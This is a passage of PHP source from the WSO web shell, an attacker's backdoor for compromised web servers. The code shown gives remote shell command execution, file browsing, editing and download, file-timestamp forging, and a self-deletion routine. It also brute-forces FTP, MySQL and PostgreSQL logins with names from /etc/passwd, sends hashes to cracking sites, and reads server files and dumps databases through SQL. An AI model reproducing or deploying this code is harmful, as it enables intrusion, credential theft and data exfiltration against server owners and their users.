    $dirContent wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
        if(
    $dirContent === false) {    echo 'Can\'t open this folder!';wsoFooter(); return; }
        global 
    $sort;
        
    $sort = array('name'1);
        if(!empty(
    $_POST['p1'])) {
            if(
    preg_match('!s_([A-z]+)_(\d{1})!'$_POST['p1'], $match))
                
    $sort = array($match[1], (int)$match[2]);
        }
    echo 
    "<script>
        function sa() {
            for(i=0;i<d.files.elements.length;i++)
                if(d.files.elements[i].type == 'checkbox')
                    d.files.elements[i].checked = d.files.elements[0].checked;
        }
    </script>
    <table width='100%' class='main' cellspacing='0' cellpadding='2'>
    <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_"
    .($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
        
    $dirs $files = array();
        
    $n count($dirContent);
        for(
    $i=0;$i<$n;$i++) {
            
    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            
    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            
    $tmp = array('name' => $dirContent[$i],
                        
    'path' => $GLOBALS['cwd'].$dirContent[$i],
                        
    'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
                        
    'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
                        
    'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                        
    'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                        
    'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                        );
            if(@
    is_file($GLOBALS['cwd'] . $dirContent[$i]))
                
    $files[] = array_merge($tmp, array('type' => 'file'));
            elseif(@
    is_link($GLOBALS['cwd'] . $dirContent[$i]))
                
    $dirs[] = array_merge($tmp, array('type' => 'link''link' => readlink($tmp['path'])));
            elseif(@
    is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
                
    $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
        
    $GLOBALS['sort'] = $sort;
        function 
    wsoCmp($a$b) {
            if(
    $GLOBALS['sort'][0] != 'size')
                return 
    strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
            else
                return ((
    $a['size'] < $b['size']) ? -1)*($GLOBALS['sort'][1]?1:-1);
        }
        
    usort($files"wsoCmp");
        
    usort($dirs"wsoCmp");
        
    $files array_merge($dirs$files);
        
    $l 0;
        foreach(
    $files as $f) {
            echo 
    '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' "title='{$f['link']}'") . '><b>[ ' htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
                .
    '</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
            
    $l $l?0:1;
        }
        echo 
    "<tr><td colspan=7>
        <input type=hidden name=a value='FilesMan'>
        <input type=hidden name=c value='" 
    htmlspecialchars($GLOBALS['cwd']) ."'>
        <input type=hidden name=charset value='"
    . (isset($_POST['charset'])?$_POST['charset']:'')."'>
        <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"
    ;
        if(
    class_exists('ZipArchive'))
            echo 
    "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
        echo 
    "<option value='tar'>Compress (tar.gz)</option>";
        if(!empty(
    $_COOKIE['act']) && @count($_COOKIE['f']))
            echo 
    "<option value='paste'>Paste / Compress</option>";
        echo 
    "</select>&nbsp;";
        if(!empty(
    $_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
            echo 
    "file name: <input type=text name=p2 value='wso_" date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
        echo 
    "<input type='submit' value='>>'></td></tr></form></table></div>";
        
    wsoFooter();
    }
     
    function 
    actionStringTools() {
        if(!
    function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
        if(!
    function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
        if(!
    function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
        if(!
    function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
        if(!
    function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
        
    $stringTools = array(
            
    'Base64 encode' => 'base64_encode',
            
    'Base64 decode' => 'base64_decode',
            
    'Url encode' => 'urlencode',
            
    'Url decode' => 'urldecode',
            
    'Full urlencode' => 'full_urlencode',
            
    'md5 hash' => 'md5',
            
    'sha1 hash' => 'sha1',
            
    'crypt' => 'crypt',
            
    'CRC32' => 'crc32',
            
    'ASCII to HEX' => 'ascii2hex',
            
    'HEX to ASCII' => 'hex2ascii',
            
    'HEX to DEC' => 'hexdec',
            
    'HEX to BIN' => 'hex2bin',
            
    'DEC to HEX' => 'dechex',
            
    'DEC to BIN' => 'decbin',
            
    'BIN to HEX' => 'binhex',
            
    'BIN to DEC' => 'bindec',
            
    'String to lower case' => 'strtolower',
            
    'String to upper case' => 'strtoupper',
            
    'Htmlspecialchars' => 'htmlspecialchars',
            
    'String length' => 'strlen',
        );
        if(isset(
    $_POST['ajax'])) {
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax'true);
            
    ob_start();
            if(
    in_array($_POST['p1'], $stringTools))
                echo 
    $_POST['p1']($_POST['p2']);
            
    $temp "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
            echo 
    strlen($temp), "\n"$temp;
            exit;
        }
        if(empty(
    $_POST['ajax'])&&!empty($_POST['p1']))
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax'0);
        
    wsoHeader();
        echo 
    '<h1>String conversions</h1><div class=content>';
        echo 
    "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
        foreach(
    $stringTools as $k => $v)
            echo 
    "<option value='".htmlspecialchars($v)."'>".$k."</option>";
            echo 
    "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
        if(!empty(
    $_POST['p1'])) {
            if(
    in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
        }
        echo
    "</pre></div><br><h1>Search files:</h1><div class=content>
            <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
                <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
                <tr><td>Path:</td><td><input type='text' name='cwd' value='"
    htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
                <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
                <tr><td></td><td><input type='submit' value='>>'></td></tr>
                </table></form>"
    ;
     
        function 
    wsoRecursiveGlob($path) {
            if(
    substr($path, -1) != '/')
                
    $path.='/';
            
    $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*'GLOB_ONLYDIR)));
            if(
    is_array($paths)&&@count($paths)) {
                foreach(
    $paths as $item) {
                    if(@
    is_dir($item)){
                        if(
    $path!=$item)
                            
    wsoRecursiveGlob($item);
                    } else {
                        if(empty(
    $_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
                            echo 
    "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
                    }
                }
            }
        }
        if(@
    $_POST['p3'])
            
    wsoRecursiveGlob($_POST['c']);
        echo 
    "</div><br><h1>Search for hash:</h1><div class=content>
            <form method='post' target='_blank' name='hf'>
                <input type='text' name='hash' style='width:200px;'><br>
                <input type='hidden' name='act' value='find'/>
                <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
                <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
                <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
            </form></div>"
    ;
        
    wsoFooter();
    }
     
    function 
    actionFilesTools() {
        if( isset(
    $_POST['p1']) )
            
    $_POST['p1'] = urldecode($_POST['p1']);
        if(@
    $_POST['p2']=='download') {
            if(@
    is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                
    ob_start("ob_gzhandler"4096);
                
    header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
                if (
    function_exists("mime_content_type")) {
                    
    $type = @mime_content_type($_POST['p1']);
                    
    header("Content-Type: " $type);
                } else
                    
    header("Content-Type: application/octet-stream");
                
    $fp = @fopen($_POST['p1'], "r");
                if(
    $fp) {
                    while(!@
    feof($fp))
                        echo @
    fread($fp1024);
                    
    fclose($fp);
                }
            }exit;
        }
        if( @
    $_POST['p2'] == 'mkfile' ) {
            if(!
    file_exists($_POST['p1'])) {
                
    $fp = @fopen($_POST['p1'], 'w');
                if(
    $fp) {
                    
    $_POST['p2'] = "edit";
                    
    fclose($fp);
                }
            }
        }
        
    wsoHeader();
        echo 
    '<h1>File tools</h1><div class=content>';
        if( !
    file_exists(@$_POST['p1']) ) {
            echo 
    'File not exists';
            
    wsoFooter();
            return;
        }
        
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if(!
    $uid) {
            
    $uid['name'] = @fileowner($_POST['p1']);
            
    $gid['name'] = @filegroup($_POST['p1']);
        } else 
    $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        echo 
    '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
        echo 
    '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
        if( empty(
    $_POST['p2']) )
            
    $_POST['p2'] = 'view';
        if( 
    is_file($_POST['p1']) )
            
    $m = array('View''Highlight''Download''Hexdump''Edit''Chmod''Rename''Touch');
        else
            
    $m = array('Chmod''Rename''Touch');
        foreach(
    $m as $v)
            echo 
    '<a href=# onclick="g(null,null,\'' urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
        echo 
    '<br><br>';
        switch(
    $_POST['p2']) {
            case 
    'view':
                echo 
    '<pre class=ml1>';
                
    $fp = @fopen($_POST['p1'], 'r');
                if(
    $fp) {
                    while( !@
    feof($fp) )
                        echo 
    htmlspecialchars(@fread($fp1024));
                    @
    fclose($fp);
                }
                echo 
    '</pre>';
                break;
            case 
    'highlight':
                if( @
    is_readable($_POST['p1']) ) {
                    echo 
    '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                    
    $code = @highlight_file($_POST['p1'],true);
                    echo 
    str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
                }
                break;
            case 
    'chmod':
                if( !empty(
    $_POST['p3']) ) {
                    
    $perms 0;
                    for(
    $i=strlen($_POST['p3'])-1;$i>=0;--$i)
                        
    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
                    if(!@
    chmod($_POST['p1'], $perms))
                        echo 
    'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                }
                
    clearstatcache();
                echo 
    '<script>p3_="";</script><form onsubmit="g(null,null,\'' urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o'fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
                break;
            case 
    'edit':
                if( !
    is_writable($_POST['p1'])) {
                    echo 
    'File isn\'t writeable';
                    break;
                }
                if( !empty(
    $_POST['p3']) ) {
                    
    $time = @filemtime($_POST['p1']);
                    
    $_POST['p3'] = substr($_POST['p3'],1);
                    
    $fp = @fopen($_POST['p1'],"w");
                    if(
    $fp) {
                        @
    fwrite($fp,$_POST['p3']);
                        @
    fclose($fp);
                        echo 
    'Saved!<br><script>p3_="";</script>';
                        @
    touch($_POST['p1'],$time,$time);
                    }
                }
                echo 
    '<form onsubmit="g(null,null,\'' urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                
    $fp = @fopen($_POST['p1'], 'r');
                if(
    $fp) {
                    while( !@
    feof($fp) )
                        echo 
    htmlspecialchars(@fread($fp1024));
                    @
    fclose($fp);
                }
                echo 
    '</textarea><input type=submit value=">>"></form>';
                break;
            case 
    'hexdump':
                
    $c = @file_get_contents($_POST['p1']);
                
    $n 0;
                
    $h = array('00000000<br>','','');
                
    $len strlen($c);
                for (
    $i=0$i<$len; ++$i) {
                    
    $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                    switch ( 
    ord($c[$i]) ) {
                        case 
    0:  $h[2] .= ' '; break;
                        case 
    9:  $h[2] .= ' '; break;
                        case 
    10$h[2] .= ' '; break;
                        case 
    13$h[2] .= ' '; break;
                        default: 
    $h[2] .= $c[$i]; break;
                    }
                    
    $n++;
                    if (
    $n == 32) {
                        
    $n 0;
                        if (
    $i+$len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
                        
    $h[1] .= '<br>';
                        
    $h[2] .= "\n";
                    }
                }
                echo 
    '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
                break;
            case 
    'rename':
                if( !empty(
    $_POST['p3']) ) {
                    if(!@
    rename($_POST['p1'], $_POST['p3']))
                        echo 
    'Can\'t rename!<br>';
                    else
                        die(
    '<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
                }
                echo 
    '<form onsubmit="g(null,null,\'' urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
                break;
            case 
    'touch':
                if( !empty(
    $_POST['p3']) ) {
                    
    $time strtotime($_POST['p3']);
                    if(
    $time) {
                        if(!
    touch($_POST['p1'],$time,$time))
                            echo 
    'Fail!';
                        else
                            echo 
    'Touched!';
                    } else echo 
    'Bad time format!';
                }
                
    clearstatcache();
                echo 
    '<script>p3_="";</script><form onsubmit="g(null,null,\'' urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
                break;
        }
        echo 
    '</div>';
        
    wsoFooter();
    }
     
    function 
    actionConsole() {
        if(!empty(
    $_POST['p1']) && !empty($_POST['p2'])) {
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out'true);
            
    $_POST['p1'] .= ' 2>&1';
        } elseif(!empty(
    $_POST['p1']))
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out'0);
     
        if(isset(
    $_POST['ajax'])) {
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax'true);
            
    ob_start();
            echo 
    "d.cf.cmd.value='';\n";
            
    $temp = @iconv($_POST['charset'], 'UTF-8'addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
            if(
    preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
                if(@
    chdir($match[1])) {
                    
    $GLOBALS['cwd'] = @getcwd();
                    echo 
    "c_='".$GLOBALS['cwd']."';";
                }
            }
            echo 
    "d.cf.output.value+='".$temp."';";
            echo 
    "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            
    $temp ob_get_clean();
            echo 
    strlen($temp), "\n"$temp;
            exit;
        }
        if(empty(
    $_POST['ajax'])&&!empty($_POST['p1']))
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax'0);
        
    wsoHeader();
        echo 
    "<script>
    if(window.Event) window.captureEvents(Event.KEYDOWN);
    var cmds = new Array('');
    var cur = 0;
    function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
            cur--;
            if(cur>=0)
                document.cf.cmd.value = cmds[cur];
            else
                cur++;
        } else if(n == 40) {
            cur++;
            if(cur < cmds.length)
                document.cf.cmd.value = cmds[cur];
            else
                cur--;
        }
    }
    function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
    }
    </script>"
    ;
        echo 
    '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
        foreach(
    $GLOBALS['aliases'] as $n => $v) {
            if(
    $v == '') {
                echo 
    '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
                continue;
            }
            echo 
    '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
        }
     
        echo 
    '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
        if(!empty(
    $_POST['p1'])) {
            echo 
    htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
        }
        echo 
    '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
        echo 
    '</form></div><script>d.cf.cmd.focus();</script>';
        
    wsoFooter();
    }
     
    function 
    actionLogout() {
        
    setcookie(md5($_SERVER['HTTP_HOST']), ''time() - 3600);
        die(
    'bye!');
    }
     
    function 
    actionSelfRemove() {
     
        if(
    $_POST['p1'] == 'yes')
            if(@
    unlink(preg_replace('!\(\d+\)\s.*!'''__FILE__)))
                die(
    'Shell has been removed');
            else
                echo 
    'unlink error!';
        if(
    $_POST['p1'] != 'yes')
            
    wsoHeader();
        echo 
    '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
        
    wsoFooter();
    }
     
    function 
    actionBruteforce() {
        
    wsoHeader();
        if( isset(
    $_POST['proto']) ) {
            echo 
    '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
            if( 
    $_POST['proto'] == 'ftp' ) {
                function 
    wsoBruteForce($ip,$port,$login,$pass) {
                    
    $fp = @ftp_connect($ip$port?$port:21);
                    if(!
    $fp) return false;
                    
    $res = @ftp_login($fp$login$pass);
                    @
    ftp_close($fp);
                    return 
    $res;
                }
            } elseif( 
    $_POST['proto'] == 'mysql' ) {
                function 
    wsoBruteForce($ip,$port,$login,$pass) {
                    
    $res = @mysql_connect($ip.':'.$port?$port:3306$login$pass);
                    @
    mysql_close($res);
                    return 
    $res;
                }
            } elseif( 
    $_POST['proto'] == 'pgsql' ) {
                function 
    wsoBruteForce($ip,$port,$login,$pass) {
                    
    $str "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
                    
    $res = @pg_connect($str);
                    @
    pg_close($res);
                    return 
    $res;
                }
            }
            
    $success 0;
            
    $attempts 0;
            
    $server explode(":"$_POST['server']);
            if(
    $_POST['type'] == 1) {
                
    $temp = @file('/etc/passwd');
                if( 
    is_array($temp) )
                    foreach(
    $temp as $line) {
                        
    $line explode(":"$line);
                        ++
    $attempts;
                        if( 
    wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                            
    $success++;
                            echo 
    '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                        }
                        if(@
    $_POST['reverse']) {
                            
    $tmp "";
                            for(
    $i=strlen($line[0])-1$i>=0; --$i)
                                
    $tmp .= $line[0][$i];
                            ++
    $attempts;
                            if( 
    wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                                
    $success++;
                                echo 
    '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                            }
                        }
                    }
            } elseif(
    $_POST['type'] == 2) {
                
    $temp = @file($_POST['dict']);
                if( 
    is_array($temp) )
                    foreach(
    $temp as $line) {
                        
    $line trim($line);
                        ++
    $attempts;
                        if( 
    wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                            
    $success++;
                            echo 
    '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                        }
                    }
            }
            echo 
    "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
        }
        echo 
    '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
            
    .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
            
    .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
            
    .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
            
    .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
            
    .'<span>Server:port</span></td>'
            
    .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
            
    .'<tr><td><span>Brute type</span></td>'
            
    .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
            
    .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
            
    .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
            
    .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
            
    .'<td><input type=text name=login value="root"></td></tr>'
            
    .'<tr><td><span>Dictionary</span></td>'
            
    .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
            
    .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
        echo 
    '</div><br>';
        
    wsoFooter();
    }
     
    function 
    actionSql() {
        class 
    DbClass {
            var 
    $type;
            var 
    $link;
            var 
    $res;
            function 
    DbClass($type)    {
                
    $this->type $type;
            }
            function 
    connect($host$user$pass$dbname){
                switch(
    $this->type)    {
                    case 
    'mysql':
                        if( 
    $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
                        break;
                    case 
    'pgsql':
                        
    $host explode(':'$host);
                        if(!
    $host[1]) $host[1]=5432;
                        if( 
    $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                        break;
                }
                return 
    false;
            }
            function 
    selectdb($db) {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        if (@
    mysql_select_db($db))return true;
                        break;
                }
                return 
    false;
            }
            function 
    query($str) {
                switch(
    $this->type) {
                    case 
    'mysql':
                        return 
    $this->res = @mysql_query($str);
                        break;
                    case 
    'pgsql':
                        return 
    $this->res = @pg_query($this->link,$str);
                        break;
                }
                return 
    false;
            }
            function 
    fetch() {
                
    $res func_num_args()?func_get_arg(0):$this->res;
                switch(
    $this->type)    {
                    case 
    'mysql':
                        return @
    mysql_fetch_assoc($res);
                        break;
                    case 
    'pgsql':
                        return @
    pg_fetch_assoc($res);
                        break;
                }
                return 
    false;
            }
            function 
    listDbs() {
                switch(
    $this->type)    {
                    case 
    'mysql':
                            return 
    $this->query("SHOW databases");
                    break;
                    case 
    'pgsql':
                        return 
    $this->res $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    break;
                }
                return 
    false;
            }
            function 
    listTables() {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        return 
    $this->res $this->query('SHOW TABLES');
                    break;
                    case 
    'pgsql':
                        return 
    $this->res $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    break;
                }
                return 
    false;
            }
            function 
    error() {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        return @
    mysql_error();
                    break;
                    case 
    'pgsql':
                        return @
    pg_last_error();
                    break;
                }
                return 
    false;
            }
            function 
    setCharset($str) {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        if(
    function_exists('mysql_set_charset'))
                            return @
    mysql_set_charset($str$this->link);
                        else
                            
    $this->query('SET CHARSET '.$str);
                        break;
                    case 
    'pgsql':
                        return @
    pg_set_client_encoding($this->link$str);
                        break;
                }
                return 
    false;
            }
            function 
    loadFile($str) {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        return 
    $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
                    break;
                    case 
    'pgsql':
                        
    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
                        
    $r=array();
                        while(
    $i=$this->fetch())
                            
    $r[] = $i['file'];
                        
    $this->query('drop table wso2');
                        return array(
    'file'=>implode("\n",$r));
                    break;
                }
                return 
    false;
            }
            function 
    dump($table$fp false) {
                switch(
    $this->type)    {
                    case 
    'mysql':
                        
    $res $this->query('SHOW CREATE TABLE `'.$table.'`');
                        
    $create mysql_fetch_array($res);
                        
    $sql $create[1].";\n";
                        if(
    $fpfwrite($fp$sql); else echo($sql);
                        
    $this->query('SELECT * FROM `'.$table.'`');
                        
    $i 0;
                        
    $head true;
                        while(
    $item $this->fetch()) {
                            
    $sql '';
                            if(
    $i 1000 == 0) {
                                
    $head true;
                                
    $sql ";\n\n";
                            }
     
                            
    $columns = array();
                            foreach(
    $item as $k=>$v) {
                                if(
    $v === null)
                                    
    $item[$k] = "NULL";
                                elseif(
    is_int($v))
                                    
    $item[$k] = $v;
                                else
                                    
    $item[$k] = "'".@mysql_real_escape_string($v)."'";
                                
    $columns[] = "`".$k."`";
                            }
                            if(
    $head) {
                                
    $sql .= 'INSERT INTO `'.$table.'` ('.implode(", "$columns).") VALUES \n\t(".implode(", "$item).')';
                                
    $head false;
                            } else
                                
    $sql .= "\n\t,(".implode(", "$item).')';
                            if(
    $fpfwrite($fp$sql); else echo($sql);
                            
    $i++;
                        }
                        if(!
    $head)
                            if(
    $fpfwrite($fp";\n\n"); else echo(";\n\n");
                    break;
                    case 
    'pgsql':
                        
    $this->query('SELECT * FROM '.$table);
                        while(
    $item $this->fetch()) {
                            
    $columns = array();
                            foreach(
    $item as $k=>$v) {
                                
    $item[$k] = "'".addslashes($v)."'";
                                
    $columns[] = $k;
                            }
                            
    $sql 'INSERT INTO '.$table.' ('.implode(", "$columns).') VALUES ('.implode(", "$item).');'."\n";
